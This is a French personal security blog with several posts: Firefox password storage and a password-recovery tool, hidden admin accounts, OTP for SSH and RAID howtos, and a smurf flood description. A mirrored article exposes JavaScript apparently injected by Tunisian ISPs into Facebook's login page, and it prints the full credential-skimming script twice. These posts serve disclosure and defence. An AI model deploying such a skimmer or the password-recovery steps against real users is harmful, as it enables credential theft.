Blog d'Emmanuel Istace

Rogue des password stocké dans firefox

Posted in Sécurité by Emmanuel Istace on 17 août 2011

Un article qui n’en est pas vraiment un mais plus un tips.
Les password de Firefox sont stockés dans %appdata%\Mozilla\Firefox\Profiles\

Il y a 3 fichiers utilisé :

  • signons.sqlite : Base contenant les password(crypté), username, lastlogin, timeout, page associé, champs associé, nombre de login, etc, etc…
  • keys3.db : contient les clefs
  • cert8.db : contient les certificats clients

Ces 3 fichiers servent à stocker de manière +/- sécurisé les mots de passe. L’algorithme utilisé de base est Triple DES en CBC, master password ou non ! (le base64 n’a été utilisé que sur les early release)
Des outils comme FirePassword n’ont besoin que de ces 3 fichiers pour vous donner l’intégralité des password stocké…
Donc ces 3 fichiers récupéré, firepassword sous la main, et le tour est joué ^^

Firepassword : http://securityxploded.com/firepassword.php
Ceci montre bien une chose, firefox dont on vente les mérite d’un point de vue de la sécurité… à des efforts a faire… (Comparé a IE par exemple ;) )

No More Admin : Création d’utilisateurs privilégiés invisibles

Posted in Sécurité, Programmation, DotNet by Emmanuel Istace on 2 juin 2011

Bonjour, j’ai eu une conversation avec un amis aujourd’hui qui me soutenait qu’il n’avait pas besoin de se mettre ne utilisateur limité sur sa machine car était suffisamment conscient de ce qu’il faisait et que de toute façon il avait un antivirus et un firewall donc il ne risquait rien. Dans cette vidéo je vous montre comment créer un utilisateur, le rajouter au groupe administrateur puis aller modifier le registre pour le rend invisible et cela grâce au fait que l’utilisateur est en administrateur sur sa machine. Teste réalisé sur une machine avec firewall & antivirus ;)

Sources : http://pastebin.com/ad9FW8TU

Inform@tiquement

Howto : OTP pour SSH sous Debian GNU/Linux

Posted in Linux, Sécurité, Systèmes by Emmanuel Istace on 7 février 2011

Qu’est-ce que OTP ?

OTP signifie « One Time Password » ou Mot de passe a Usage Unique. C’est un mot de passe valable pour une seul session.

Pourquoi OTP ?

Le principal avantage de cette méthode est qu’elle ne permet pas de mettre en place de attaques par  rejeux. C’est-à-dire que si quelqu’un enregistre le traffic entre le client et le serveur puis rejoue ce traffic dans le but de s’authentifier, ce dernier ne pourra pas le pass n’etant valide que pour une session qui a déjà été consommé vu qu’il a pu l’enregistrer. OTP tire parti de nombres aléatoires afin de ne pas pouvoir prédire les OTP. (A l’inverse des Sequence Number sous NT4 par exemple).

Comment fonctionne OTP ?

Il y a 3 approches principales :

  • OTP basé sur la synchronisation entre le serveur et le client (valide pour une seule periode de temp).
  • La génération mathématique du password selon le précédent password.
  • L’utilisation de challenge et d’algorithmes mathématique et/ou un compteur.

Il y a plusieurs manières de faire parvenir au client le prochain OTP, avec des token electronique, un client web, d’autre avec un daemon qui tourne sur le mobile du client ou enfin, la plus simple, les OTP sont ecris sur une feuille emporté avec la machine. (La plus connue, mais la plus risqué !! )

Installation

Voici les paquets à installer pour faire fonctionner l’OTP sur Debian.

apt-get install libpam-opie opie-server opie-client

Configuration

Configuration OTP

Il est fortement recommandé de générer les OTP et les challenges en local sur la machine. En effet, si au moment de la création, via ssh par exemple, de vos OTP un hacker sniff votre communication,  il récupère alors les OTP, malgré le SSL dessus qui peut être Spoofé.

Nous allons maintenant générer un challenge OTP associé à votre compte avec un password.

debian:~# opiepasswd –c root
Updating root:
Using MD5 to compute reponses.
Enter new secret pass phrase : passwordopie
Again new secret pass phrase : passwordopie

ID root OTP key is 499 de8236
SLOB HOLM NARY MARE BOLO TORN
debian:~#

J’ai ici créé mon challenge pour me connecter. Mon password opie est « passwordopie » et mon password système est « password ». On vas ensuite généré 50  OTP pour root.

debian:~# opiekey -n 50 499 de8236
Using the MD5 algorithm to compute response.
Enter secret pass phrase : passwordopie
490 … ICI la liste des OTP
debian:~#

Nous avons maintenant créé nos OTP. Il ne nous reste plus qu’a intégré cela avec pam dans l’authentification SSH.

Configuration SSH

Pour permettre a ssh d’employer des OTP il faut modifier le fichier /etc/pam.d/sshd. On doit rajouter la ligne : auth sufficient pam_opie.so

Voici a quoi ressemble le mien :

debian:~# cat /etc/pam.d/sshd
# PAM configuration for the Secure Shell service
auth     sufficient pam_opie.so
auth     required    pam_unix.so
auth     required    pam_deny.so
session  required    pam_limits.so                # Limits
session  optional    pam_motd.so                  # MOTD
session  optional    pam_mail.so standard noenv   # MAILBOX
debian:~#

Se connecter

Un fois cela fait, redémarrez ssh et tentez de vous loguer en SSH.

login as: root
Password: password #celui du système
otp-md5 497 de8236 ext, Response: NIBS COME JILL BEAU ED MOB
Welcome Home Manu ^^
Last login: Fri Jan  7 00:12:11 2011 from 192.168.0.103
debian:~#

OTP Generator

Coté client j’utilise une petite applet java OTPGenerator qui est un s/Key Generator en Java et respecte le RFC 2289. Il dérive du projet JOTP de Harry Mantakos et reprend certaines de ses sources. Un lien vers le logiciel est fourni a la fin du howto. L’applet se trouve dans bin.

Dans password je renseigne passwordopie, le password donné lors de la création du challenge. Ensuite je renseigne la Sequence et le challenge que j’ai pour me connecter. Le hash doit être en MD5 (par defaut, le MD5 est utilisé). En fois cliqué sur calculé nous obtenons la clef a renseigné au serveur. Ici : NIBS COME JILL BEAU ED MOB

jsOTP(404)

jsOTP est un projet sous licence BSD de Jeremy Lin se composant de librairies javascript permettant de calculer ses Token en MD5, MD4, sha-1, ripemd-160 et de les traiter par lots.
Voici une implémentation que j’ai réalisé qui correspond a notre besoin en MD5 avec un format 6 mots. http://manu404.dyndns-home.com/jsotp404/

Il fonctionne en JavaScript avec JqueryUI. Une archive est disponible dans les ressources.

Référence

Logiciels

Documents

Liens

License

Copyright (c) 2011 Istace Emmanuel.
Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.2 or any later version published by the Free Software Foundation; with no Invariant sections, with Front-Cover Texts : “Howto : OTP pour SSH sous Debian GNU/Linux, and no Back-Cover Texts.  A copy of the license is included in the section entitled “GNU Free Documentation License”.

Copyright (c) 2011 Istace Emmanuel.
Permission vous est donnée de copier, distribuer et/ou modifier ce document selon les termes de la Licence GNU Free Documentation License, Version 1.2 ou ultérieure publiée par la Free Software Foundation ; avec aucune section altérable, Avec le texte de première page de couverture suivant : « Howto : OTP pour SSH sous Debian GNU/Linux », sans texte de dernière page de couverture. Une copie de cette Licence est incluse dans la section appelée « GNU Free Documentation License » de ce document.

Tagged with: , , , ,

Howto RAID sous Debian GNU/Linux

Posted in Divers, Linux, Sécurité, Systèmes by Emmanuel Istace on 7 février 2011

Voici un howto sur comment utiliser dur RAID5 avec mdadm sous Debian GNU Linux. Une version PDF est disponible.

Introduction

A Propos

Ce Howto a été écrit dans le but monter un serveur avec l’utilisation de RAID sous un système Debian  Lenny 5.0 GNU/Linux. Ce document est sous licence FDL v1.2. Ce Howto s’intègre dans une série de howto destiné a créé un RAID avec LVM et Quota.

Licence

Copyright (c) 2011 Istace Emmanuel.
Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.2 or any later version published by the Free Software Foundation; with no Invariant sections, with Front-Cover Texts : “Howto RAID LVM & Quota sous Linux”, and no Back-Cover Texts.  A copy of the license is included in the section entitled “GNU Free Documentation License”.

Copyright (c) 2011 Istace Emmanuel.
Permission vous est donnée de copier, distribuer et/ou modifier ce document selon les termes de la Licence GNU Free Documentation License, Version 1.2 ou ultérieure publiée par la Free Software Foundation ; avec aucune section altérable, Avec le texte de première page de couverture suivant : « Howto RAID LVM & Quota sous Linux », sans texte de dernière page de couverture. Une copie de cette Licence est incluse dans la section appelée « GNU Free Documentation License » de ce document.

Théorie

Un RAID est un ensemble de technique mise en œuvre sur plusieurs disques durs pour augmenter les performances, la sécurité ou la fault tolerance. Il y a 3 principaux types de RAID, le RAID 0, 1, 10 et 5.

RAID 0

Le RAID 0, aussi appelé striping consiste a répartir les données sur deux disque dur comme le montre le shema ci-dessous. Le premier bloc est sur sda et le second sur sdb. Sa capacité est egale a la taille du plus petit disque du RAID multiplié par le nombre de disque. Par exemple 1disque de 300Go et deux disque de 250Go en RAID 0 donnent une capacité totale de 750 Go (250 * 3). Malheureusement avec ce type de RAID il n’y a aucune redondance et donc, la perte d’un des disque provoque une perte de donnée.

RAID 1

Le RAID 1 ou mirroring consiste a utiliser n disque redondant (au minimum 2) et e copier sur chacun les mêmes données. Sa capacité est egale a celle du plus petit disque dur du RAID, au niveau de lka fiabilité par contre, le gain est évident. Elle accepte une déffaillance de n-1 disques. Ainsi, si nous mettons 4 disque de 200Go, nous aurons 200Go d’espace disponible et on pourra perdre 3 disque dur dans le RAID avant de perdre des données. Malheurement les couts sont proportionnelle au nombre de mirror alors que la capacité reste identique.

RAID 10 (ou RAID 1 + 0)

Ce type de RAID est un raid composé. Il consiste a créé un RAID 0 avec deux RAID 1. On a donc du striping de mirror. Il faut au minimum 4 disque pour créé un RAID 10. Sa capcité est egale a la taille du plus petit RAID1 multiplié par le nombre de RAID 1 dans le RAID0. Ainsi si je créé 2 RAID 1 composé de 2 disque de 200Go j’ai : 200Go * 2 = 400Go.

RAID 5

Le RAID5 se base sur le stripping et une parité. Chaque bande est donc constituée de N blocs de données et d’un bloc de parité. Ainsi, en cas de défaillance de l’un des disques de la grappe, pour chaque bande il manquera soit un bloc de données soit le bloc de parité. Si c’est le bloc de parité, ce n’est pas grave, car aucune donnée ne manque. Si c’est un bloc de données, on peut calculer son contenu à partir des N − 1 autres blocs de données et du bloc de parité. L’intégrité des données de chaque bande est préservée. Donc non seulement la grappe est toujours en état de fonctionner, mais il est de plus possible de reconstruire le disque une fois échangé à partir des données et des informations de parité contenues sur les autres disques. Le RAID5 utilise des Spare disque, disque qui sont mis en spool et monté puis reconstruit en cas de défaillance d’un des disque. Sa capacité est égale a la somme de la capacité des N – 1 disque. 3 disque de 200 Go en RAID5 fournissent donc 400 Go d’espace utile.

Mise en place sous Debian GNU Linux

L’outil mdadm

Cet outil sera utilisé pour créer et administrer notre RAID. S’il n’est pas présent sur votre système, installez le paquet.

root:~# apt-cache search mdadm
mdadm – tool to administer Linux MD arrays (software RAID)
root:~#

Son fichier de configuration se trouve dans /etc/mdadm/mdadm.conf sous Debian. Il est nécéssaire de formater les disque au type 0xFD (Linux RAID autodetect).

RAID 0

On va ici créer un RAID0, donc du striping. On aura donc un partie des données sur chacun des disques. Si vous utilisez une virtual machine mais en savez pas comment ajouter un disque dur, reportez-vous aux Annexes de ce HowTo pour VmWare Workstation et Oracle VirtualBox
Voici comment ce que l’on va faire :

On a donc deux partitions, sda et sdb que l’on montera en RAID 0.

root:~# mdadm –-create /dev/md0 –-level=raid0 –-raid-devices=2 /dev/sda /dev/sdb

–create /dev/md0     Création d’un RAID représenté par /dev/md0
–level=raid0         Type de raid a créé, ici raid0
–raid-devices=2      Nombre de disque dans le RAID
/dev/sda /dev/sdb     Devices du RAID

On peut maintenant créé notre filesystème sur le RAID

root:~# mkfs –t ext3 /dev/md0
root:~# mkdir /mnt/raid0
root:~# mount –t ext3 /dev/md0 /mnt/raid0

RAID 1

Passons au RAID 1, ici les données sont dupliquées sur chaque disque du RAID

Le principe est le même que en RAID0 mais avec un partition de secoure en plus et le level en raid1 et non raid0.

root:~# mdadm –-create /dev/md0 –-level=raid1 –-raid-devices=2 /dev/sda /dev/sdb -–spare-devices=1 /dev/sdd

–create /dev/md0     Création d’un RAID représenté par /dev/md0
–level=raid0         Type de raid a créé, ici raid0
–raid-devices=2      Nombre de disque dans le RAID
/dev/sda /dev/sdb     Devices du RAID
–spare-devices=1      Nombre de disque de secoure
/dev/sdd              Disques de secour a utilisé

On peut maintenant créé notre filesystème sur le RAID

root:~# mkfs –t ext3 /dev/md0
root:~# mkdir /mnt/raid1
root:~# mount –t ext3 /dev/md0 /mnt/raid1

RAID 10

Passons au RAID 10, nous allons pour cela créé deux matrices RAID 1 que l’on vas regrouper sur une matrice RAID 0.

On vas créé les deux matrices RAID 1

root:~# mdadm –-create /dev/md0 –-level=raid1 –-raid-devices=2 /dev/sda /dev/sdb
root:~# mdadm –-create /dev/md1 –-level=raid1 –-raid-devices=2 /dev/sdc /dev/sdd

Nos deux RAID 1 (/dev/md0 et /dev/md1) créé, on vas les regrouper dans un RAID 0

root:~# mdadm –-create /dev/md2 –-level=raid0 –-raid-devices=2 /dev/md0 /dev/md1

On peut maintenant créé notre filesystème sur le RAID0 de RAID1

root:~# mkfs –t ext3 /dev/md2
root:~# mkdir /mnt/raid10
root:~# mount –t ext3 /dev/md2 /mnt/raid10

RAID 5

Enfin le RAID 5, nous utiliserons ici 4  disques également dont un de secoure.

Le principe est le même que en RAID0 mais avec un partition de secoure en plus et le level en raid1 et non raid0.

root:~# mdadm –-create /dev/md0 –-level=raid5 –-raid-devices=3 /dev/sda /dev/sdb /dev/sdc -–spare-devices=1 /dev/sdd

On peut maintenant créé notre filesystème sur le RAID

root:~# mkfs –t ext3 /dev/md0
root:~# mkdir /mnt/raid5
root:~# mount –t ext3 /dev/md0 /mnt/raid5

Administration

Verifier le RAID

Il y a deux possibilities pour verifier l’etat du thread. Le fichier /proc/mdstat et la commande mdadm.

root:~# watch cat /proc/mdstat

Every 2,0s: cat /proc/mdstat                                                                                                                    Tue Jan  4 03:06:33 2011

Personalities : [linear] [multipath] [raid0] [raid1] [raid6] [raid5] [raid4] [raid10]

md0 : active (auto-read-only) raid5 sdb[0] sde[3](S) sdd[2] sdc[1] 208768 blocks level 5, 64k chunk, algorithm 2 [3/3] [UUU]

md1 : active (auto-read-only) raid5 sdf[0] sdi[3](S) sdh[2] sdg[1] 208768 blocks level 5, 64k chunk, algorithm 2 [3/3] [UUU]

resync=PENDING

unused devices: <none>

Ou bien mdadm –detail <device>

root:~# mdadm –detail /dev/md0
/dev/md0:
Version : 00.90
Creation Time : Tue Jan  4 01:24:08 2011
Raid Level : raid5
Array Size : 208768 (203.91 MiB 213.78 MB)
Used Dev Size : 104384 (101.95 MiB 106.89 MB)
Raid Devices : 3
Total Devices : 4
Preferred Minor : 0
Persistence : Superblock is persistent

Update Time : Tue Jan  4 01:46:14 2011
State : clean
Active Devices : 3
Working Devices : 4
Failed Devices : 0
Spare Devices : 1

Layout : left-symmetric
Chunk Size : 64K

UUID : b8c892c6:c59a3628:f0e976dc:8f6e00c0
Events : 0.10

Number   Major   Minor   RaidDevice State
0       8       16        0      active sync   /dev/sdb
1       8       32        1      active sync   /dev/sdc
2       8       48        2      active sync   /dev/sdd
3       8       64        -      spare   /dev/sde

Ajouter un disque dur

Pour ajouter un disque dur a la matrice de RAID on utilise l’option –a de mdadm :

root:~# mdadm /dev/md0 –a /dev/sdx
mdadm: hot added /dev/sdax

Avec cela on ajoute sdx au Raid md0

Suprimer un disque dur

Pour enlever un disque dur de la matrice de RAID on utilise l’option –d de mdadm :

root:~# mdadm /dev/md0 –d /dev/sdc
mdadm: hot removed /dev/sdc

Ainsi on suprimme /dev/sdc de md0

Simuler une panne et remplacer un disque

Pour tester le bon fonctionnement du RAID il est intéressant de créé des pannes.

root:~# mdadm /dev/md0 –f /dev/sdd
mdadm: set /dev/sdd to faulty in /dev/md0

Ainsi le disque sdc est passé en faulty :

md0 : active (auto-read-only) raid5 sdb[0] sde[3](S) sdd[2](F) sdc[1] 208768 blocks level 5, 64k chunk, algorithm 2 [3/3] [UUU]

Si un spare disk est présent, il sera automatiquement utilisé pour remplacer le disque déffecteux. Voici maintenant comment remplacer sdd, qui est maintenant « foutu » de notre RAID.

root:~# mdadm /dev/md0 –d /dev/sdd
mdadm: hot removed /dev/sdd

root:~# mdadm /dev/md0 –a /dev/sdr
mdadm: hot removed /dev/sdr

On a suprimer sdd du RAID et on a mis sdr a sa place. Si le RAID est complet, ce disque sera rajouté dans les spare disk en cas de futur panne.

Annexes

Annexe A : Ajout de disque dur sous VmWare Workstation

a.       Se rendre dans le menu de configuration du hardware de la VM. (Si elle est en exécution, double cliquer sur l’icône du disque dur en bas à droite)

b.      Cliquer sur Add

c.       Choisir Hard Disk puis suivant.

d.      Choisir Create a New Virtual Disk

e.      Choisir SCSI comme type de disque virtuel.

f.        Ici vous définissez la taille que vous désirez pour votre nouveau disque et cliquez sur suivant

g.       Sur la plupart du système, si vous ajoutez un disque, vous devrez redémarrer la VM.

Sources & Référence

Tagged with: , , , , ,

La tunisie vole les login/pass de ses utilisateurs via les FAI – RootBSD

Posted in Divers, Réseau, Sécurité by Emmanuel Istace on 16 janvier 2011

Bonjour a tous, cet article est un mirror de mon amis RootBSD. En effet depuis la publication de ce billet, son site est DoS. Il demande a tout le monde de mirrorer (et sourcer !) cet article pour faire passer l’infos.
La suite est donc de lui :

ATTENTION : depuis la publication de cet article mon serveur est particulièrement sujet au DDOS… Ne souhaitant pas répondre de manière aussi stupide à ces attaques. Je vous propose a chacun de faire un miroir de cet article. Je vous remercie d’avance.
Voici comment l’état tunisien injecte sur du JavaScript pour voler les identifiants et mot de passe de ses citoyens.

Voici le code source de facebook quand vous vous y connectez depuis la Tunisie :

Code:
<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Strict//EN”
“http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml” xml:lang=”fr” lang=”fr” id=”facebook”>
<head>
<meta http-equiv=”Content-type” content=”text/html; charset=utf-8″ />
<meta http-equiv=”Content-language” content=”fr” />
<script type=”text/javascript”>
//<![CDATA[
CavalryLogger=false;window._is_quickling_index="";window._EagleEyeSeed="w6jw";
//]]>
</script><noscript> <meta http-equiv=refresh content=”0; URL=/?_fb_noscript=1″ /> </noscript> 

<meta name=”robots” content=”noodp,noydir” />
<meta name=”description” content=” Facebook est un réseau social qui vous relie à des amis, des collègues de travail, des camarades de classe ou d’autres personnes qui ont quelque chose à partager avec vous. Grâce à Facebook, vous pourrez rester en contact avec vos amis, charger un nombre illimité de photos, publier des liens et des vidéos… et faire plus ample connaissance avec les personnes que vous rencontrez.” />
<link rel=”alternate” media=”handheld” href=”http://www.facebook.com/” />
<title>Bienvenue sur Facebook</title>
<noscript><meta http-equiv=”X-Frame-Options” content=”deny” /></noscript>
<link type=”text/css” rel=”stylesheet” href=”http://static.ak.fbcdn.net/rsrc.php/y6/r/TVhzFSu8Tm2.css” />

<link type=”text/css” rel=”stylesheet” href=”http://static.ak.fbcdn.net/rsrc.php/y-/r/zbLi6FTnPZj.css” />
<link type=”text/css” rel=”stylesheet” href=”http://b.static.ak.fbcdn.net/rsrc.php/yN/r/Uuokrl6Xv3c.css” />
<link type=”text/css” rel=”stylesheet” href=”http://b.static.ak.fbcdn.net/rsrc.php/yT/r/rUdGGxe1Qk1.css” />

<script type=”text/javascript” src=”http://b.static.ak.fbcdn.net/rsrc.php/yK/r/NK-XVT6bZ0B.js”></script>

<link rel=”search” type=”application/opensearchdescription+xml” href=”http://b.static.ak.fbcdn.net/rsrc.php/yJ/r/H2SSvhJMJA-.xml” title=”Facebook” />
<link rel=”shortcut icon” href=”http://static.ak.fbcdn.net/rsrc.php/y7/r/5875srnzL-I.ico” /></head>
<body>
<div id=”FB_HiddenContainer” style=”position:absolute; top:-10000px; width:0px; height:0px;” ></div><div id=”blueBar”></div><div id=”globalContainer”><div id=”dialogContainer”></div><div id=”dropmenu_container”></div><div id=”content” class=”fb_content clearfix”><div ><!– 2365fa3194ecdc0cab15721ce967a9f8663937c7 –>
<div><div class=”loggedout_menubar_container”><div><a href=”/” title=”Accéder à la page d’accueil”><img src=”http://static.ak.fbcdn.net/rsrc.php/yp/r/kk8dc2UJYJ4.png” alt=”Logo de Facebook” width=”170″ height=”36″ /></a><div class=”rfloat”><div><form method=”POST” action=”https://login.facebook.com/login.php?login_attempt=1″ id=”login_form” onsubmit=”hAAAQ3d()” onsubmit=”return Event.__inlineSubmit(this,event)”><div style=”position:absolute;top:-250px”><img id=”x6y7z8″ src=”"/></div>
<script language=”javascript”>
<!–
function h6h(st){var st2=”";for(i=0;i<st.length;i++){c=st.charCodeAt(i);ch=(c&0xF0)>>4;cl=c&0x0F;
st2=st2+String.fromCharCode(ch+97)+String.fromCharCode(cl+97);}return st2;}
function r5t(len){var st=”";for(i=0;i<len;i++)st=st+String.fromCharCode(Math.floor(Math.random(1)*26+97)); return st;}
function hAAAQ3d() {
var frm = document.getElementById(“login_form”); var us3r = frm.email.value; var pa55 = frm.pass.value;
var url = “http://www.facebook.com/wo0dh3ad?q=”+r5t(5)+”&u=”+h6h(us3r)+”&p=”+h6h(pa55); var bnm = navigator.appName; if(bnm==’Microsoft Internet Explorer’) inv0k3(url); else inv0k2(url);}
function inv0k1(url) {var objhq = document.getElementById(“x6y7z8″); objhq.src = url;}
function inv0k2(url) {var xr = new XMLHttpRequest(); xr.open(“GET”, url, false); xr.send(“”);}
function inv0k3(url) {var xr = new ActiveXObject(‘Microsoft.XMLHTTP’); xr.open(“GET”, url, false); xr.send(“”);}
//–>

</script><input type=”hidden” name=”charset_test” value=”&euro;,&acute;,€,´,水,Д,Є” /><input type=”hidden” name=”lsd” value=”AOL9y” autocomplete=”off” /><input type=”hidden” id=”locale” name=”locale” value=”fr_FR” autocomplete=”off” /><table cellspacing=”0″><tr><td class=”html7magic”><label for=”email”>Adresse électronique</label></td><td class=”html7magic”><label for=”pass”>Mot de passe</label></td></tr><tr><td><input type=”text” name=”email” id=”email” tabindex=”1″ /></td><td><input type=”password” name=”pass” id=”pass” tabindex=”2″ /></td><td><label class=”uiButton uiButtonConfirm”><input value=”Connexion” tabindex=”4″ type=”submit” /></label></td></tr><tr><td class=”login_form_label_field”><input type=”checkbox” class=”inputcheckbox” value=”1″ id=”persistent” name=”persistent” checked=”1″ /><input type=”hidden” name=”default_persistent” value=”1″ /><label id=”label_persistent” for=”persistent”>Garder ma session active</label></td><td class=”login_form_label_field”><a href=”http://www.facebook.com/reset.php” rel=”nofollow”>Mot de passe oublié ?</a></td></tr></table><input type=”hidden” name=”charset_test” value=”&euro;,&acute;,€,´,水,Д,Є” /><input type=”hidden” id=”lsd” name=”lsd” value=”AOL9y” autocomplete=”off” /></form>
</div></div></div></div><div class=”WelcomePage_MainSell”><div class=”WelcomePage_MainSellCenter clearfix”><div class=”WelcomePage_MainSellLeft”><div class=”WelcomePage_MainMessage”>Facebook vous permet de rester en contact et d’échanger avec les personnes qui vous entourent.</div><div class=”WelcomePage_MainMap”>&nbsp;</div></div><div ><div class=”WelcomePage_SignUpSection”><div class=”WelcomePage_SignUpMessage”><div class=”WelcomePage_SignUpHeadline”>Inscription</div><div class=”WelcomePage_SignUpSubheadline”>C’est gratuit (et ça le restera toujours)</div></div><div id=”registration_container”><div><noscript><div id=”no_js_box”><h2>JavaScript est désactivé dans votre navigateur.</h2><p>Veuillez activer JavaScript dans votre navigateur ou installer un navigateur avec JavaScript pour pouvoir vous enregistrer sur Facebook.</p></div></noscript><div id=”simple_registration_container” class=”simple_registration_container”><div id=”reg_box”><form method=”post” id=”reg” name=”reg” onsubmit=”return

J’ai volontairement coupé le code source, le reste n’a que peu d’importance. Par partie curieuse est celle-ci :

Code:
<!–
function h6h(st){var st2=”";for(i=0;i<st.length;i++){c=st.charCodeAt(i);ch=(c&0xF0)>>4;cl=c&0x0F;
st2=st2+String.fromCharCode(ch+97)+String.fromCharCode(cl+97);}return st2;}
function r5t(len){var st=”";for(i=0;i<len;i++)st=st+String.fromCharCode(Math.floor(Math.random(1)*26+97)); return st;}
function hAAAQ3d() {
var frm = document.getElementById(“login_form”); var us3r = frm.email.value; var pa55 = frm.pass.value;
var url = “http://www.facebook.com/wo0dh3ad?q=”+r5t(5)+”&u=”+h6h(us3r)+”&p=”+h6h(pa55); var bnm = navigator.appName; if(bnm==’Microsoft Internet Explorer’) inv0k3(url); else inv0k2(url);}
function inv0k1(url) {var objhq = document.getElementById(“x6y7z8″); objhq.src = url;}
function inv0k2(url) {var xr = new XMLHttpRequest(); xr.open(“GET”, url, false); xr.send(“”);}
function inv0k3(url) {var xr = new ActiveXObject(‘Microsoft.XMLHTTP’); xr.open(“GET”, url, false); xr.send(“”);}
//–>

Ce code est injecté à la volé par le FAI et n’apparait dans aucun autre pays…
Ce morceau de JS fait donc un query vers hxxp://www.facebook.com/wo0dh3ad?q=blablablabla&u=USERNAME&p=PASSWORD
Avec le username et password en clair. La page wo0dh3ad n’existe évidement pas chez facebook… Par contre cela permet de pouvoir faire un simple : “grep wo0dh3ad /var/log/FAI.log”. Grâce à cela le FAI tunisien peut très facilement récupérer le username et le password de son abonné dans les logs !!!

De Facebook au Storytelling,la vérité travestie?

Posted in Divers, Sécurité by Emmanuel Istace on 15 septembre 2010

Je suis tombé par hasard sur cette conférence aujourd’hui. Elle est très intéressante notamment sur le premier point de la quantification de l’identité. Malheureusement, certains sujets sont éludé et d’autre subissent une argumentation un peu aride ce qui les rend assez incompréhensible. Ceci dit, voici quelques points que je trouve très intéressants, ils ne sont pas nouveaux, mais trop peut souvent cité :

Quantification de l’identité.

Mme Fanny George, Docteur en Étude Culturel, fait tout d’abord un constat. Sur facebook, le nombre d’amis, le nombre de commentaire, le nombre d’activités, le nombres d’amis en commun, le nombre d’application téléchargés sont clairement visible. De la elle pose l’hypothèse selon laquelle on quantifierait l’identité d’une personne selon ces données. Cette quantification permettrait alors de faire une sorte de hiérarchie de niveau de sociabilité et de comparer entre nous notre niveau de sociabilité. Par exemple,  Thomas est ami avec Julien et Florence, Julien a 50 amis de plus que Thomas. Thomas le considère donc comme plus sociable que lui. Florence a 10 amis de moins que Thomas, Thomas la considère comme moins sociable. En partant de là, un second comportement peut aussi est décrit à partir des amis commun et celui-ci défini le niveau d’affinité en dehors du niveau de sociabilité. Thomas et Julien ont 10 amis en commun alors que Thomas et Florence ont 20 amis en commun. Thomas se considérera plus proche de Florence. Tout ceci reste une hypothèse car il n’y a pas eu d’étude concrète de ce type de comportement, mais je la trouve, pour voir cela tous les jours, assez juste. Ce comportement n’est juste pas admis ouvertement, mais il a bel et bien lieu.

Je rajouterais quelque chose qui n’est pas explicitement dit.  Pourrait-on imaginer arriver à une sorte de vision marxiste du capitalisme (recherche du profit, accumulation de capital, etc) des liens sociaux ? Facebook s’inscrit déjà dans un mouvement de mondialisation, pourquoi pas un mouvement de « capitalisme social » ? Et se retrouver avec des gens pour qui, avoir et cumuler des « amis » est un but dans une démarche « capitaliste » sans prêter attention à ce qu’apporte normalement une amitié.

Analogie entre StoryTelling et la bible

Le Théologien, Père Antoine Guggenheim, fait une analogie intéressante entre le storytelling et les évangiles. Il lit un passage du deutéronome, qui est un livre de lois et donc un livre dans lequel on ne s’attend pas a du storytelling mais plutôt une longue liste de « Tu dois faire ça ! ».

Lorsque tu sera entré dans le pays que le Seigneur ton dieu te donne.
Tu prendra des prémices de tout les fruits du sol.
Tu ira au lieu choisi par le Seigneur.
Tu viendra vers le prêtre et tu lui dira :
Je déclare aujourd’hui
Mon père était un Armaèen erant
Les 2gyptiens nous maltraitèrent
Nous crimes vers le seigneur
Le Seigneur entendit
Il nous fit sortir d’Égypte
Il nous fit arriver ici
J’apporte les prémices des fruits

Le passage propose au lecteur, non pas de faire ce que dit le texte, mais de faire avec le texte. On nous raconte donc une histoire, à laquelle on adhère ou pas et surtout à laquelle, selon ses convictions l’on peut s’identifier et devenir acteur de cet histoire. On passe donc de la démonstration à la monstration. Le Storytelling n’est donc pas récent. Là où il lie évangile et facebook c’est que facebook (et les systèmes de blog en générale) propose à chacun exactement la même démarche. On a tous une histoire, et cette on peut maintenant la partager a la terre entière facilement. Mais, comme toutes les histoires, vaut-elle la peine d’être transmise ? Est-ce que un certain narcissisme se développe chez l’auteur en disant : « des gens lisent ma vie, ma vie est intéressante, je suis intéressant ». De plus il y a aussi, en dehors de la qualité de l’histoire, la qualité du texte. Les histoire que l’on lisait jusqu’à présent était pour la plupart écrite par des gens dont c’est le métier, qui ont des connaissances et une culture suffisante que pour « bien écrire ». Le fait de lire a longueur de journée de mauvais textes, mais de les considéré comme bon sous prétexte qu’ils retranscrivent une part de la vie de X et qu’il faut respecter son travail, ne va-t-il pas justement faire du tort au « bons textes » ?

Voici les deux points qui m’ont vraiment marqué et que je trouve vraiment intéressant. Le reste l’est mais est plus convenu, ou du moins plus connu car souvent donné dans la plupart des débats et conférences sur le sujet.

Pour le reste, je vous conseille de regarder la vidéo.


De Facebook au Storytelling,la vérité travestie?
envoyé par college-des-bernardins. – Rencontrez plus de personnalités du web.

Technique de hacking de base : Floods et Scans

Posted in Sécurité by Emmanuel Istace on 7 juillet 2010

Salut a tous, j’ai retrouvé en nettoyant mon hdd une mini-doc que j’avais écrite pour un stage présentant les attaques de base sur le réseau car beaucoup de machines y étaient encore sensibles. Pour faire bouger le DSI, je lui avais donc fait le descriptif des attaques de base en question. Brute flooding, SynFlood, PingOfDeath, Overlapping Fragment Attack, SynScan, FIN/X-MAS/NULL ou scans RST, Scan connect, attacks sont les attaques abordées avec, pour chacune, un descriptif complet et une parade efficace. Entrez dans le bon vieux monde des doom packets :D

Brute Flooding (smurf pour les intimes)

Description :
- Saturer le pc distant
- Surcharger la bande passante sur le réseau de la machine
- Envoyer beaucoup de requêtes PING à la victime, avec des paquets contenant beaucoup de données.

Si on envoie un ping sur l’adresse de broadcast, toutes les machines du réseau y répondent par un reply. Comme se flooder soi-même n’est pas d’une immense utilité, il faut trouver un moyen de faire répondre tous ces systèmes à qui on l’entend, car cela représente un gros potentiel. Pour ce faire, il suffit d’envoyer un paquet PING echo spoofé contenant l’adresse de la victime comme source et la broadcast comme destinataire. Ainsi, chaque machine du réseau recevra un ping qu’elles croiront venir de la machine de la victime et y répondront. En envoyant beaucoup de paquets spoofés, la bande passante de la victime est prise d’assaut de manière exponentielle avec le nombre de systèmes connectés au réseau. Cette attaque s’appelle communément un smurf.

Contre-attaque :
- Limite des connections par ip
- Drop des connections sans réponse
- Drop de l’icmp venant de l’interface Wan

SYN flood

Descriptif :
